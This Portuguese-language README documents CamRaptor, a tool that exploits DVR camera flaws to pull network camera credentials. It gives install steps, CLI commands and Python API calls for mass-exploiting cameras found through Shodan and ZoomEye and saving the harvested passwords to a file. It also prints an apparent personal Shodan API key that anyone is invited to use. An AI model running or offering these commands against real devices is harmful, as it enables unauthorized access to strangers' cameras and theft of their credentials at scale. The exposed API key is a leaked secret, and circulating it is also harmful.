CamRaptor

CamRaptor é uma ferramenta que explora várias vulnerabilidades em câmeras DVR populares para obter credenciais de câmera de rede.

Características

• Explora vulnerabilidades nos modelos de câmera mais populares como Novo, CeNova e QSee.
• Otimizado para explorar várias câmeras ao mesmo tempo a partir de uma lista com threading ativado.
• Uso simples via CLI e API.

Instalação

pip3 install git+https://github.com/EntySec/CamRaptor

Uso básico

Para usar o CamRaptor basta digitar camraptor no seu terminal.

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
                 [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor é uma ferramenta que explora várias vulnerabilidades em câmeras DVR
populares para obter credenciais de câmera de rede.

argumentos opcionais:
  -h, --help            mostra esta mensagem de ajuda e sai
  -t, --threads         Usar threads para trabalho mais rápido.
  -o OUTPUT, --output OUTPUT
                        Salva o resultado em um arquivo.
  -i INPUT, --input INPUT
                        Arquivo de entrada com endereços.
  -a ADDRESS, --address ADDRESS
                        Endereço único.
  --shodan SHODAN       Chave da API Shodan para explorar dispositivos pela Internet.
  --zoomeye ZOOMEYE     Chave da API ZoomEye para explorar dispositivos pela Internet.
  -p PAGES, --pages PAGES
                        Número de páginas que você deseja obter do ZoomEye.

Exemplos

Explorando uma única câmera

Vamos hackear minha câmera só por diversão.

camraptor -a 192.168.99.100

Explorando câmeras da Internet

Vamos tentar usar o mecanismo de busca Shodan para explorar câmeras pela Internet, vamos usá-lo com -t para exploração rápida.

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTA: A chave da API Shodan fornecida (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) é minha chave PRO da API. Você pode usar esta chave ou a sua própria, fique à vontade para usar todos os nossos recursos de graça :)

Explorando câmeras a partir de um arquivo de entrada

Vamos tentar usar um banco de dados aberto de câmeras com -t para exploração rápida.

camraptor -t -i cameras.txt -o passwords.txt

NOTA: Isso irá explorar todas as câmeras na lista cameras.txt pelos seus endereços e salvar todas as senhas obtidas em passwords.txt.

Uso da API

CamRaptor também possui sua própria API Python que pode ser invocada importando CamRaptor para o seu código.

from camraptor import CamRaptor

Funções básicas

Estas são todas as funções básicas do CamRaptor que podem ser usadas para explorar uma câmera especificada.

• exploit(address) - Explora uma única câmera com base no endereço fornecido.

Exemplos

Explorando uma única câmera

from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)